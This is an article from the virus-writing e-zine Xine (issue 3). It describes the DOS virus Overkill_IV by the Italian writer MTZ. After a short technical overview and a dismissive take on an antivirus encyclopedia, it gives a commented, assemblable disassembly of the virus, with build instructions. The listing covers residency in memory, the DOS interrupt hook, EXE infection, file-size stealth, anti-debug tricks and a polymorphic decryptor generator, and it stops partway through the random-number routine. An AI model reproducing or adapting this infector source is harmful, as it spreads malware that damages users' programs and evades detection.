/-----------------------------\ | Xine - issue #3 - Phile 305 | \-----------------------------/ Virus spotlite: Overkill_IV by b0z0/iKX, Padania 1998 Virus Name : Overkill_IV Author : MTZ Origin : Italy AV Virus Name : MTZ.2624 Type : TSR, semi-poly, EXE infector, stealth Lenght : 2612 bytes (+12 bytes of the saved header) Introduction ÄÄÄÄÄÄÄÄÄÄÄÄ This virus spotlite is dedicated to a virus from an Italian virus writer called MTZ. He wrote many interesting viruses, thus Overkill_IV isn't his best one, but I decided to disasm this one :) This is an interesting well written TSR semipolymorphic EXE infector that goes resident in UMB when possible. Overkill_IV has also some stealth features, but why should I do the entire article, let's first see what AVP enciclopedia says about it :))) ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ>8ÄÄÄÄÄÄÄÄÄÄ[cut]ÄÄÄÄÄÄÄÄÄÄ8<ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ MTZ.1907,2624 These are not dangerous memory resident parasitic polymorphic and stealth viruses. Being executed they check DOS version and install themselves as memory resident under DOS 5.0 or above. If there is free block of upper memory, these viruses copy themselves into UMB. These viruses infect files on FindFirst/FindNext DOS calls. On opening an infected file the viruses disinfect it. [skipped the MTZ.1907] "MTZ.2624" hooks INT 21h and writes itself to the end of EXE files (except SCAN.EXE). Depending on the system timer it displays the message: Overkill IV Virus - By MTZ - From Italy - (Cazzo! Anche oggi un altro 2 di picche, ma si puo' andare avanti cosi' ?) ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ>8ÄÄÄÄÄÄÄÄÄÄ[cut]ÄÄÄÄÄÄÄÄÄÄ8<ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Oh yea? I didn't know I disasmd something like :) Well, AVP is going day by day more and more commercial as every other AV company, so they don't give a fuck to provide some good products or some good documentation. They just work for money, hence the shit they produce. I still respect some guys working at AVP that do something technically good, but they are going to be assimilated by the commercial part (borgs :) ). So fuck AVP and it's encyclopedia (this is not the only mistake, there are many many others) and let's make the real description of Overkill_IV. More tech desc ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ So when executed the virus will check for UMB and if present it will go resident in upper memory. If UMB is not avaiable then the virus will go resident in conventional memory using the int 21h calls to do the work. Int 21h will be hooked and int 0fdh will be redirected to the original int 21h, so the virus will use this to make calls to the old int 21h. At installation time the Overkill_IV will check the system date and if the day is equal to the 30th and the current second is odd then the virus will display a message and then wait the user to hit a key. After this the control will be given to the host. The virus infects on execute (4b00h) and close (3eh). On open call (3dh) of an infected file the Overkill_IV will disinfect it, while on findfirst and findnext (4eh/4fh) the virus will stealth its size. The infection method is quite the usual one for EXE infectors. It uses system file tables for infection. The virus will always pad the file size to a multiple of 200h with zeros, making some parts of the infection stage easyer. There isn't a particular word or some signature to recognize an infected file, but it will check for some particullar values in the EXE header that are very probable for an infected file (that is CS = SS+1, IP = 0, and SP = 0). To make disinfection on open and filesize stealth easyer the virus stores on the bottom of the infected file (the last 0ch bytes) some vital data from the uninfected header. This 0ch bytes will be used on stealth routines. The Overkill_IV is just a bit poly, since it always use the same sequence of instructions in the decryptor using always the same registers. Just some random amount of garbage will be put in the middle of the various stable decryptor instructions. The encryption is a byte xor with the value of the register al which after an initialization is incremented by one in each loop. The decryptor has a maximum fixed lenght of 100h bytes. Finally the virus won't infect files which name ends in SCAN.EXE. Disasm ÄÄÄÄÄÄ And here goes the code! Greets to MTZ! ; ; ;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ;ÛÛ ÛÛ ;ÛÛ Overkill_IV by MTZ ÛÛ ;ÛÛ ÛÛ ;ÛÛ Disasm by b0z0/iKX, Padania 1997 ÛÛ ;ÛÛ ÛÛ ;ÛÛ ÛÛ ;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; ; ; Compiling: ; tasm /m5 /l okill4.asm ; tlink okill4 ; ok_iv segment byte public assume cs:ok_iv, ds:ok_iv org 0 virus_start_file: db 100h dup (90h) ; here the decryptor will be ; placed. while in memory this ; space is used as temporary ; space too decryptor_end: xor sp,sp mov cs:[saved_es],es push cs pop ds mov cx,9ebh mov ax,0fe05h jmp short $-02h ; a bit antidebug stuff add ah,3Bh jmp short $-0ah mov ax,0A40h mov ax,3000h ; get dos version int 21h cmp al,5 jl back2host mov ax,184dh ; residency check mov bx,'MT' int 21h cmp ax,'OK' je back2host mov ax,es dec ax push es push ax pop es ; on mcb mov ax,word ptr es:[3] mov [mcb_size],ax mov al,byte ptr es:[0] mov [mcb_type],al pop es call get_mem cmp cs:[virus_seg],0 ; if 0 then installation in je back2host ; mem not succesfull, else call hook_fdh ; in virus_seg we have the call hook_21h ; virus segment in mem mov ax,[virus_seg] mov es,ax mov cx,virus_lenght xor di,di ; copy virus to memory mov si,0 rep movsb back2host: cmp word ptr cs:[current_pos],0 je fst_gen_exit ; if so then 1st gen call payload_chk call restore_host fst_gen_exit: mov ah,4ch int 21h mcb_size dw 00h mcb_type db 00h virus_seg dw 00h saved_es dw 00h payload_chk: mov ax,2a00h ; get date int 21h jc no_payload cmp dl,1eh ; is the 30th? jne no_payload mov ax,2c00h ; get time int 21h jc no_payload and dh,1 ; is the second odd cmp dh,1 jne no_payload mov dx,offset virus_msg ; display virus msg mov ax,900h int 21h jc no_payload wait_hit: mov ax,600h ; wait for kbdhit mov dx,0ffh int 21h jz wait_hit no_payload: retn virus_msg db " Overkill IV Virus - By MTZ - From Italy -" db " ",0dh,0ah db " (Cazzo! Anche oggi un altro 2 di picche, ma" db " si puo' andare avanti cosi' ?) ",0dh,0ah,'$' hook_fdh: pushf push ax push es push ds xor ax,ax push ax ; on IVT pop ds les ax,dword ptr ds:[21h * 4] ; get int21h adress mov word ptr cs:[orig_21h],ax ; save it mov word ptr cs:[orig_21h + 2],es mov word ptr ds:[0fdh * 4],ax ; set int 0fdh to orig mov word ptr ds:[0fdh * 4 + 2],es ; int 21h pop ds pop es pop ax popf retn hook_21h: pushf push ax push ds xor ax,ax push ax pop ds ; on IVT mov ax,offset handler_21h ; hook int 21h mov word ptr ds:[21h * 4],ax mov ax,word ptr cs:[virus_seg] mov word ptr ds:[21h * 4 + 2],ax pop ds pop ax popf retn handler_21h: cli pushf cmp ax,184dh ; residency check jne no_resi cmp bx,'MT' je res_check no_resi: mov byte ptr cs:[func_21h],0 cmp ah,3dh ; open je got_open cmp ax,4b00h ; execute je infect_exec cmp ah,3eh ; close je infect_exec cmp ah,4eh ; findfirst je find_fsnx cmp ah,4fh ; findnext je find_fsnx jmp short chain_21h got_open: mov byte ptr cs:[func_21h],ah ; save function infect_exec: call prep_inf chain_21h: popf jmp dword ptr cs:[orig_21h] find_fsnx: mov byte ptr cs:[findfunc],ah popf call find_fncall push bp mov bp,sp push ax mov ax,word ptr cs:[call_flags] push ax pop word ptr [bp+6] ; put correct flags pop ax pop bp iret res_check: popf mov ax,'OK' iret orig_21h dd 00h ; original int21h seg:off find_fncall: int 0fdh push ax pushf push bx ; save some stuff push cx push dx push si push di push ds push es jc loc_15 cmp byte ptr cs:[findfunc],4eh jne loc_16 mov cs:[path_end_pnt],0 push es mov ax,2F00h ; get dta int 0fdh mov word ptr cs:[dta_off],bx mov word ptr cs:[dta_seg],es pop es jc loc_15 push cs pop es mov si,dx xor di,di mov ax,6000h ; canonicalize filename int 0fdh jc loc_15 push cs pop ds xor di,di mov ax,1212h ; get lenght of asciiz in cx int 2fh loc_15: jc loc_18 add di,cx std ; search back mov al,'\' ; for \ repne scasb inc di cmp byte ptr [di],'\' ; got it? jne loc_18 ; Jump if not equal inc di mov word ptr ds:[path_end_pnt],di loc_16: cmp word ptr cs:[path_end_pnt],0 je loc_18 cld lds si,dword ptr cs:[dta_off] add si,1eh ; filename in dta push cs pop es mov di,word ptr cs:[path_end_pnt] mov cx,0dh mov ax,es rep movsb push cs pop ds xor dx,dx call check4scan ; is an .exe and != scan.exe jc loc_18 call open_file ; open file jc loc_18 call read_head_chk ; read header jc loc_17 call check_inf ; check if seems infected, jnc loc_17 ; c seems infected call read_lst0c ; read original header from jc loc_17 ; eof-0ch lds si,dword ptr cs:[dta_off] mov ax,cs:[saved_exe_data + 08h] dec ax mov cx,200h mul cx add ax,cs:[saved_exe_data + 0ah] adc dx,0 ; stealth file size mov [si+1Ah],ax mov [si+1Ch],dx push cs pop ds loc_17: call close_file loc_18: pop es pop ds pop di pop si pop dx pop cx pop bx pop ax mov word ptr cs:[call_flags],ax pop ax retn call_flags dw 00h findfunc db 00h dta_off dw 00h dta_seg dw 00h path_end_pnt dw 00h prep_inf: push ax push bx push cx push dx push si push di push ds push es cld cmp ah,3eh ; closefile? jne loc_19 clc call duplicate_hnd jc loc_21 jmp short loc_20 loc_19: clc call check4scan ; check that is an .exe and jc loc_21 ; is not scan.exe call open_file jc loc_21 loc_20: call fts_work jc loc_21 call chk_infstlprp ; check if infected or if jc loc_21 ; it has to be disinfected ; on open. if nc then we ; must infect it call infect_exe ; infect exe jc loc_21 call do_header ; put new exe header loc_21: pop es pop ds pop di pop si pop dx pop cx pop bx pop ax retn duplicate_hnd: mov ax,4500h ; duplicate handle int 0fdh jc loc_22 mov bx,ax clc ; operation ok retn loc_22: stc ; error retn check4scan: push es push ds pop es mov cx,400h mov al,0 ; search end of fname mov di,dx cld repne scasb pop es cmp byte ptr [di-2],'E' jne not_exe_ext cmp byte ptr [di-3],'X' jne not_exe_ext cmp byte ptr [di-4],'E' jne not_exe_ext cmp byte ptr [di-6],'N' jne not_scan cmp byte ptr [di-7],'A' jne not_scan cmp byte ptr [di-8],'C' jne not_scan cmp byte ptr [di-9],'S' jne not_scan jmp short not_exe_ext not_scan: clc ; good filename retn not_exe_ext: stc ; scan.exe or not an .exe retn restore_dtime: mov cx,word ptr ds:[filetime] mov dx,word ptr ds:[filedate] mov ax,5701h ; set original date int 0FDh retn filedate dw 00 ; saved file date and time filetime dw 00 open_file: mov ax,3d00h int 0fdh mov bx,ax retn fts_work: push bx mov ax,1220h int 2fh ; get jft for bx handle jc loc_25 mov bl,byte ptr es:[di] ; sft entry number xor bh,bh mov ax,1216h ; get sft int 2fh jc loc_25 cmp byte ptr es:[di+28h],'E' jne loc_25 cmp byte ptr es:[di+29h],'X' jne loc_25 cmp byte ptr es:[di+2Ah],'E' jne loc_25 mov ax,word ptr es:[di+0fh] ; filedate mov word ptr cs:[filedate],ax mov ax,word ptr es:[di+0dh] ; filetime mov word ptr cs:[filetime],ax mov ax,word ptr es:[di+2] ; file open mode and ax,0fff8h or ax,2 mov word ptr es:[di+2],ax ; set to rw pop bx clc retn loc_25: pop bx call close_file stc ; set error flag retn close_file: mov ax,3e00h ; close file int 0fdh retn read_head_chk: mov ax,4200h xor cx,cx ; go to bof mov dx,cx int 0fdh jc loc_26 mov dx,offset exe_header mov cx,1ch mov ax,3f00h int 0fdh ; read file head jc loc_26 cmp word ptr ds:[exe_header],'ZM' jne loc_26 cmp word ptr ds:[exe_header+12h],0 jne loc_26 clc retn loc_26: stc ; error retn chk_infstlprp: push cs push cs pop ds pop es call read_head_chk jc loc_28 call check_inf jnc loc_27 cmp byte ptr [func_21h],3dh ; was an open? jne loc_28 call disinfect call restore_dtime jmp short loc_28 loc_27: cmp byte ptr [func_21h],3dh ; was an open? je loc_28 mov ax,word ptr ds:[exe_header + 16h] mov [saved_exe_data + 02h],ax mov ax,word ptr ds:[exe_header + 14h] mov [saved_exe_data],ax mov ax,word ptr ds:[exe_header + 10h] mov [saved_exe_data + 04h],ax mov ax,word ptr ds:[exe_header + 0eh] mov [saved_exe_data + 06h],ax mov ax,word ptr ds:[exe_header + 04h] mov [saved_exe_data + 08h],ax mov ax,word ptr ds:[exe_header + 02h] mov [saved_exe_data + 0ah],ax clc retn loc_28: call close_file stc retn saved_exe_data dw 06h dup (?) ; this carryes data that is needed for restoration of the host. that is: ; + 00h host IP ; + 02h host CS ; + 04h host SP ; + 06h host SS ; + 08h host page count ; + 0ah host last page size ; this structure will be placed at the BOF unencrypted to make disinfection ; faster and easyer func_21h db 00h exe_header dw 0eh dup (?) ; 1ch bytes for the exe header check_inf: mov ax,virus_total ; check if infected by looking mov cx,200h ; at usual virus value in head xor dx,dx div cx inc ax cmp [exe_header + 02h],dx ; last page count jne loc_29 cmp [exe_header + 10h],0 ; sp = 0 jne loc_29 cmp [exe_header + 14h],0 ; ip = 0 jne loc_29 mov ax,[exe_header + 0eh] ; get ss inc ax cmp [exe_header + 16h],ax ; cs = ss + 1 jne loc_29 stc retn loc_29: clc retn read_lst0c: mov ax,4202h ; seek to eof xor cx,cx mov dx,cx int 0fdh jc loc_30 mov cx,dx mov dx,ax sub dx,0ch sbb cx,0 mov ax,4200h ; move to EOF - 0ch int 0fdh jc loc_30 mov dx,offset saved_exe_data mov cx,0ch mov ax,3f00h int 0fdh ; read jc loc_30 mov ax,4200h xor cx,cx mov dx,cx ; back to start int 0fdh jc loc_30 clc retn loc_30: stc retn disinfect: call read_lst0c jc loc_ret_31 mov ax,[saved_exe_data + 02h] mov [exe_header + 16h],ax mov ax,[saved_exe_data] mov [exe_header + 14h],ax mov ax,[saved_exe_data + 04h] mov [exe_header + 10h],ax mov ax,[saved_exe_data + 06h] mov [exe_header + 0eh],ax mov ax,[saved_exe_data + 08h] mov [exe_header + 04h],ax mov ax,[saved_exe_data + 0ah] mov [exe_header + 02h],ax mov ax,4000h mov dx,offset exe_header ; write exe header mov cx,1ch int 0fdh jc loc_ret_31 mov ax,[exe_header + 04h] dec ax mov cx,200h mul cx add ax,[exe_header + 02h] adc dx,0 mov cx,dx mov dx,ax mov ax,4200h ; go to end of original file int 0fdh jc loc_ret_31 mov ax,4000h mov cx,0 ; truncate there, so no more int 0fdh ; virus there jc loc_ret_31 loc_ret_31: retn infect_exe: xor dx,dx mov cx,dx mov ax,4202h ; to EOF int 0fdh jc loc_33 mov dx,[exe_header + 02h] mov cx,200h sub cx,dx ; align to 200h mov dx,cx mov si,offset virus_end_file locloop_32: mov byte ptr [si],0 ; null bytes to align inc si loop locloop_32 mov cx,dx mov ax,4000h ; write alignment mov dx,offset virus_end_file int 0fdh jc loc_33 call poly_body mov ax,4000h mov cx,virus_lenght ; write virus body mov dx,offset virus_end_file int 0fdh jc loc_33 mov ax,4000h mov cx,0ch ; write original header mov dx,offset saved_exe_data int 0fdh jc loc_33 clc retn loc_33: call restore_dtime call close_file stc retn poly_body: mov word ptr ds:[current_pos],virus_lenght mov si,0 mov di,offset virus_end_file mov cx,virus_lenght rep movsb ; copy virus body call make_decryptor mov di,offset virus_end_file add di,100h mov cx,virus_lenght - decryptor_lenght init_enc: mov al,14h locloop_34: xor [di],al inc di ; encrypt body inc ax loop locloop_34 retn do_header: xor dx,dx ; set new values to exe header mov ax,[exe_header + 04h] mov cx,20h mul cx sub ax,[exe_header + 08h] mov [exe_header + 16h],ax ; cs mov [exe_header + 0eh],ax dec [exe_header + 0eh] ; ss = cs - 1 mov [exe_header + 10h],0 ; sp and ip to 0 mov [exe_header + 14h],0 mov ax,virus_total mov cx,200h xor dx,dx div cx inc ax add [exe_header + 04h],ax ; and new lenght mov [exe_header + 02h],dx mov ax,4200h xor cx,cx mov dx,cx ; to BOF int 0fdh jc loc_35 mov ax,4000h mov cx,1ch mov dx,offset exe_header ; write header int 0fdh jc loc_35 mov ax,6800h ; flush int 0fdh loc_35: call restore_dtime call close_file retn get_mem: mov cs:[virus_seg],0 ; init var cmp [mcb_type], 'Z' je loc_36 jmp short loc_39 loc_36: mov ax,5802h ; get umb state int 21h jc loc_39 cmp al,1 ; can umb be used? je loc_39 mov ax,5803h mov bx,1 ; add umbs from dos memory int 21h ; chain jc loc_39 call sub_21 jnc loc_37 mov bx,virus_paras mov ax,4800h ; alloc memory int 21h jc loc_38 loc_37: mov cs:[virus_seg],ax dec ax push es push ax pop es mov word ptr es:[01h],8 ; set owner dos and the mov word ptr es:[08h],'DS' ; name of the mb program mov byte ptr es:[10h],0 pop es loc_38: mov ax,5803h mov bx,0 int 21h loc_39: cmp cs:[virus_seg],0 jne loc_ret_40 mov bx,[mcb_size] sub bx,14eh mov ax,4a00h ; resize mem block int 21h mov bx,virus_paras mov ax,4800h ; alloc mem int 21h jc loc_ret_40 mov cs:[virus_seg],ax ; on mcb dec ax push es push ax pop es mov word ptr es:[1],8 ; modify mcb mov word ptr es:[8],'DS' pop es cmp [mcb_type],'Z' jne loc_ret_40 mov ax,es dec ax push es push ax pop es mov byte ptr es:[0],'Z' ; set last pop es loc_ret_40: retn sub_21: push es mov ax,es dec ax push ax pop es loc_41: cmp byte ptr es:[0],'Z' ; find last mcb je loc_42 add ax,es:[3] inc ax push ax pop es jmp short loc_41 loc_42: cmp word ptr es:[1],0 ; free? jne loc_43 cmp word ptr es:[3],virus_paras + 1 ; big enough? jl loc_43 sub word ptr es:[3],virus_paras + 1 ; shrink it add ax,es:[3] inc ax push ax pop es mov byte ptr es:[0],'Z' ; do our last mcb mov word ptr es:[3],virus_paras clc inc ax jmp short loc_44 loc_43: stc loc_44: pop es retn restore_host: mov bx,[saved_es] mov cx,[saved_exe_data + 06h] mov dx,[saved_exe_data + 04h] ; saved hdr stuff mov si,[saved_exe_data + 02h] mov di,[saved_exe_data] mov ax,bx add ax,10h add ax,cx mov ss,ax ; setup original ss:sp mov sp,dx mov ax,bx add ax,10h add ax,si push ax ; push return address mov ax,di push ax mov ax,bx mov es,ax mov ds,ax mov ax,0 ; zero regs mov bx,ax mov cx,ax mov dx,ax mov di,ax mov si,ax retf make_decryptor: push bx xor si,si mov word ptr ds:[current_pos],virus_lenght mov bx,0 mov dx,0ffh call random_nr mov byte ptr ds:[init_al+1],al ; key initialization mov byte ptr ds:[init_enc+1],al call rnd_16to1b call garbage mov cx,3 mov bx,offset init_si call copy_cx_frombx call rnd_16to1b call garbage mov cx,2 mov bx,offset init_al ; initialize key call copy_cx_frombx call rnd_16to1b call garbage mov cx,word ptr ds:[current_pos] sub cx,virus_lenght ; calculate jump back on mov word ptr ds:[jmp_back_val+1],cx ; math op mov cx,3 mov bx,offset math_op ; write the math op call copy_cx_frombx call rnd_16to1b call garbage mov cx,3 mov bx,offset jmp_back_val ; write the mov di,offset math call copy_cx_frombx ; for the jump back call rnd_16to1b call garbage mov cx,1 mov bx,offset dec_ax ; copy the dec ax call copy_cx_frombx call rnd_16to1b call garbage mov cx,1 mov bx,offset inc_si ; copy the inc si call copy_cx_frombx call rnd_16to1b call garbage mov ax,offset decryptor_end mov bx,word ptr ds:[current_pos] sub bx,virus_lenght ; calculate lenght to exit sub ax,bx ; of the decryptor sub ax,6 mov byte ptr ds:[exit_jmp + 1],al mov cx,6 mov bx,offset cmp_and_exit ; write compare and jump call copy_cx_frombx call rnd_16to1b call garbage mov cx,2 mov bx,offset jmp_to_di ; write the jmp di to begin call copy_cx_frombx ; of decryptor mov cx,(offset virus_end_file + decryptor_lenght) sub cx,word ptr ds:[current_pos] call garbage ; fill remaining space pop bx retn current_pos dw 00h ; current position (in mem) of the ; decryptor building random_nr: ; gives a random number between the values of bx and dx, where bx